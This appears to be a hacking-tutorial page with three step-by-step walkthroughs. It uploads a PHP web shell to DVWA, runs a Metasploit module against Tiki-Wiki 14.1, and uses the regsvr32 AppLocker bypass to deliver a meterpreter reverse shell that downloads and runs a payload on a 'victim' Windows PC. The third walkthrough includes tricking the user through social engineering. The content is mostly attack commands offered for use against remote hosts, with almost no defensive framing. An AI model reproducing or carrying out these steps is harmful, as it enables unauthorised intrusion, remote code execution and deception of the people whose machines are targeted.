Hack Web Server using PHP Command Injection (Smplshllctrlr)

Smplshllctrlr is a PHP Command Injection exploitation tool so for demo we will be using DVWA (Damn Vulnerable Web App).
1.) Exploit web page and upload simple-shell.php (or simply find an existing exploitable command injection).
2.) Execute the controller to exploit the command injection vulnerability. The controller is simply a command injection exploitation tool, and can therefore with a few adjustments be rewritten to exploit already existing vulnerabilities without the need for uploading the 'simple-shell.php'.
Here we will be exploiting the File Uploading vulnerability in DVWA by uploading a custom shell and executing it.
First clone the github repo with command:
And now give the script permission to execute by entering in the cloned folder and executing command:

chmod +x simple-shell-controller.py


Now open up DVWA in your browser and open up the upload vulnerability tab from where we will upload our reverse shell named simple-shell.php to gain a reverse shell.


Now click on Browse button and select the simple-shell.php present in the cloned folder of smplshllctrl .


Now click on upload to upload the shell to server.


After uploading the shell it will tell us the path of the uploaded shell as ../../hackable/uploads/simple-shell.php.


Now run the following command:
python simple-shell-controller.py  --url “http://192.168.222.1/dvwa/hackable/uploads/simple-shell.php” 
As you can see it has successfully returned a command shell.
Here --url is the url of uploaded shell in the previous step. 

Exploit Remote Server using Tiki-Wiki CMS Calendar Command Execution


Exploit Targets
tiki-wiki 14.1

Requirement
Attacker: kali Linux
Victim PC: Linux,Windows


Open Kali terminal type msfconsole


msf exploit (tiki_calendar-exec)>set targeturi /tiki
msf exploit (tiki_calendar-exec)>set rhost 192.168.0.110 (IP of Remote Host)
msf exploit (tiki_calendar-exec)>set username admin
msf exploit (tiki_calendar-exec)>set password raj123
msf exploit (tiki_calendar-exec)>exploit          

Hack Remote Windows PC using Regsvr32.exe (.sct) Application Whitelisting Bypass Server



This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique. The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH). Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.

Exploit Targets
Windows 7/8/8.1/10

Requirement
Attacker: kali Linux
Victim PC: Windows 10

Open Kali terminal type msfconsole




Now type use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit (regsvr32_applocker_bypass_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (regsvr32_applocker_bypass_server)>set lhost 192.168.0.124 (IP of Local Host)
msf exploit (regsvr32_applocker_bypass_server)>set srvhost 192.168.0.124
msf exploit (regsvr32_applocker_bypass_server)>set srvport 8080
msf exploit (regsvr32_applocker_bypass_server)>exploit
 


Now, we have to copy the regsvr32 code generated in victim’s run bar on PC using social engineering method.
As soon as we do that, we will get access of victim’s PC.


Now type sessions –i  to display sessions opened when the victim opens the link

Now the session has opened type sysinfo to get system information, then type shell to enter into Victims command prompt.